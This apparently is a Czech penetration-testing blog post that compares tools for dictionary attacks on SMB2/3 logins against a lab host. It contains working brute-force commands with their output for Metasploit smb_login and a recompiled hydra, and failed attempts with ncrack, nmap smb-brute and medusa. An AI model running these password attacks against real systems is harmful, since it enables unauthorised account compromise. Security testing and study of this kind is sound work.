Brute force hesla SMB v2 & v3
Ač pro Linux existuje spousta nástrojů na slovníkový útok proti SMB, ne všechny fungují s novějšími verzemi protokolu. V tomto zápisku zmíním, které tooly mi fungovaly a které ne.
SMB2 bylo uvedeno v roce 2006 v rámci Windows Vista, SMB 2.1 přišlo s Windows 7, SMB3 se pak objevilo spolu s Windows 8 a momentálně nejnovější SMB 3.1.1 přinesly Windows 10.
Skok z nešifrovaného SMB1 vytvořeného už v roce 1983 společností IBM na nový SMB2 podporující šifrování, zavádějící větší velikost paketů, nebo razantně redukující počet podporovaných příkazů protokolu z více jak sto na pouhých devatenáct samozřejmě znamená, že nástroje vytvořené pro SMB1 nebudou samy od sebe fungovat s SMB2. Pojďme mrknout na to jak vypadá podpora pro SMB2 a vyšší verze u známých nástrojů pro “útok hrubou silou”.
Identifikace použité verze SMB
$nmap --script smb-protocols 10.10.10.1
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 14:49 EDT
Nmap scan report for 10.10.10.1
Host is up (0.038s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
| smb-protocols:
| dialects:
| 202
| 210
| 300
| 302
|_ 311
Nmap done: 1 IP address (1 host up) scanned in 2.62 seconds
Druhá možnost, opět s nmapem:
$nmap --script smb2-capabilities 10.10.10.1 -p445
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-15 15:56 EDT
Nmap scan report for 10.10.10.1
Host is up (0.061s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb2-capabilities:
| 202:
| Distributed File System
| 210:
| Distributed File System
| Leasing
| Multi-credit operations
| 300:
| Distributed File System
| Leasing
| Multi-credit operations
| 302:
| Distributed File System
| Leasing
| Multi-credit operations
| 311:
| Distributed File System
| Leasing
|_ Multi-credit operations
Nmap done: 1 IP address (1 host up) scanned in 1.28 seconds
^^^ Potvrdili jsme si, že náš cvičný cíl podporuje SMB2 a výš.
Test nástrojů na brute force slovníkový útok
Test probíhal na Debian based distru pro penetrační testování Parrotsec. Soubor s hesly pass.txt
obsahoval 5 hesel s tím, že poslední páté heslo bylo heslo testovacího účtu karel
.
Metasploit – Funkční
$msfconsole
...SNIP...
[msf]>> use auxiliary/scanner/smb/smb_login
[msf]auxiliary(scanner/smb/smb_login) >> set rhosts 10.10.10.1
rhosts => 10.10.10.1
[msf]auxiliary(scanner/smb/smb_login) >> set user_file ~/user.txt
user_file => ~/user.txt
[msf]auxiliary(scanner/smb/smb_login) >> set pass_file ~/pass.txt
pass_file => ~/pass.txt
[msf]auxiliary(scanner/smb/smb_login) >> set stop_on_success true
stop_on_success => true
[msf]auxiliary(scanner/smb/smb_login) >> exploit
[*] 10.10.10.1:445 - 10.10.10.1:445 - Starting SMB login bruteforce
[-] 10.10.10.1:445 - 10.10.10.1:445 - Failed: '.\karel:123456',
[!] 10.10.10.1:445 - No active DB -- Credential data will not be saved!
[-] 10.10.10.1:445 - 10.10.10.1:445 - Failed: '.\karel:12345',
[-] 10.10.10.1:445 - 10.10.10.1:445 - Failed: '.\karel:password',
[-] 10.10.10.1:445 - 10.10.10.1:445 - Failed: '.\karel:password1',
[+] 10.10.10.1:445 - 10.10.10.1:445 - Success: '.\karel:nbusr123'
[*] 10.10.10.1:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
hydra – Funkční po překompilování
Výchozí verze hydry v dostupná v distribuci je zkompilovaná bez podpory SMB2, nicméně po stažení zdrojových kódů a potřebných knihoven a ruční kompilací s podporou SMB2 pak hydra funguje dobře:
Výchozí verze bez podpory SMB2:
$ hydra -V -l karel -P ~/pass.txt 10.10.10.1 smb2
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-15 15:47:06
[ERROR] Compiled without LIBSMBCLIENT support, module not available!
Kompilace verze s podporou SMB2:
$ sudo apt install libsmbclient-dev
$ git clone https://github.com/vanhauser-thc/thc-hydra.git
$ cd thc-hydra
$ ./configure
...SNIP...
Checking for smbclient (libsmbclient/libsmbclient.h) ...
... found
...SNIP...
$ make
$ ./hydra -V -l karel -P ~/pass.txt 10.10.10.1 smb2
Hydra v9.5-dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-15 14:54:57
[WARNING] Workgroup was not specified, using "WORKGROUP"
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking smb2://10.10.10.1:445/
[ATTEMPT] target 10.10.10.1 - login "karel" - pass "123456" - 1 of 5 [child 0] (0/0)
[ATTEMPT] target 10.10.10.1 - login "karel" - pass "12345" - 2 of 5 [child 1] (0/0)
[ATTEMPT] target 10.10.10.1 - login "karel" - pass "password" - 3 of 5 [child 2] (0/0)
[ATTEMPT] target 10.10.10.1 - login "karel" - pass "password1" - 4 of 5 [child 3] (0/0)
[ATTEMPT] target 10.10.10.1 - login "karel" - pass "nbusr123" - 5 of 5 [child 4] (0/0)
[WARNING] 10.10.10.1 might accept any credential
[445][smb2] host: 10.10.10.1 login: karel password: nbusr123
[WARNING] 10.10.10.1 might accept any credential
[WARNING] 10.10.10.1 might accept any credential
[WARNING] 10.10.10.1 might accept any credential
[445][smb2] host: 10.10.10.1 login: karel password: 12345
[445][smb2] host: 10.10.10.1 login: karel password: 123456
[445][smb2] host: 10.10.10.1 login: karel password: password
[WARNING] 10.10.10.1 might accept any credential
[445][smb2] host: 10.10.10.1 login: karel password: password1
1 of 1 target successfully completed, 5 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-15 14:54:58
ncrack – Nefunkční (?)
Výchozí verze ncracku 0.7 si s SMB2 neporadila ač by podle poznámek k vydání měla. Říkal jsem si, že možná opět jen kompilace bez podpory SMB2. Zkusil jsem si tedy sám přeložit vývojovou 0.8, ta se sice tvářila, že něco dělá, ale heslo neodhalila:
$ sudo apt install libsmbclient-dev, libssl-dev, gss-ntlmssp-dev
$ git clone https://github.com/nmap/ncrack.git
$ ./configure
$ make
$./ncrack -v -d --user karel -P ~/pass.txt 10.10.10.1 -p smb2
Starting Ncrack 0.8 ( http://ncrack.org ) at 2023-04-15 15:28 EDT
smb2://10.10.10.1:445 (EID 1) nsock READ timeout!
smb2://10.10.10.1:445 (EID 1) Attempts: total 1 completed 1 supported 1 --- rate 0.05
smb2://10.10.10.1:445 last: 0.00 current 0.00 parallelism 10
smb2://10.10.10.1:445 Increasing connection limit to: 13
smb2://10.10.10.1:445 (EID 5) Attempts: total 2 completed 2 supported 1 --- rate 0.24
smb2://10.10.10.1:445 (EID 4) Attempts: total 3 completed 3 supported 1 --- rate 0.44
smb2://10.10.10.1:445 (EID 2) Attempts: total 4 completed 4 supported 1 --- rate 0.64
smb2://10.10.10.1:445 (EID 3) Attempts: total 5 completed 5 supported 1 --- rate 0.84
smb2://10.10.10.1:445 finished.
Ncrack done: 1 service scanned in 24.01 seconds.
Probes sent: 5 | timed-out: 0 | prematurely-closed: 0
Ncrack finished.
nmap –script smb-brute – Nefunkční
Skript nmapu nazvaný smb-brute, by měl umožňovat brute force útok na SMB, nicméně s SMB2 si neporadil.
nmap --script smb-brute --script-args smbusername=karel,passdb=~/pass.txt 10.10.10.1
medusa – Nefunkční
Medusa skončila hned na prvním heslu, kde nahlásila, že heslo našla ale u toho zmiňovala neznámou chybu. Podle GitHubu to navíc vypadá, že práce na podpoře SMBv2/3 sice před lety začaly, ale nikdy to nedotáhly do hlavní větve: https://github.com/jmk-foofus/medusa/pull/48.
$ medusa -h 10.10.10.1 -u karel -P ~/pass.txt -M smbnt
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ERROR: smbnt.mod: Unknown security mode request: 00. Proceeding using ENCRYPTED password mode.
ACCOUNT CHECK: [smbnt] Host: 10.10.10.1 (1 of 1, 0 complete) User: karel (1 of 1, 0 complete) Password: 123456 (1 of 5 complete)
ACCOUNT FOUND: [smbnt] Host: 10.10.10.1 User: karel Password: 123456 [ERROR (0xFFFFFF:UNKNOWN_ERROR_CODE)]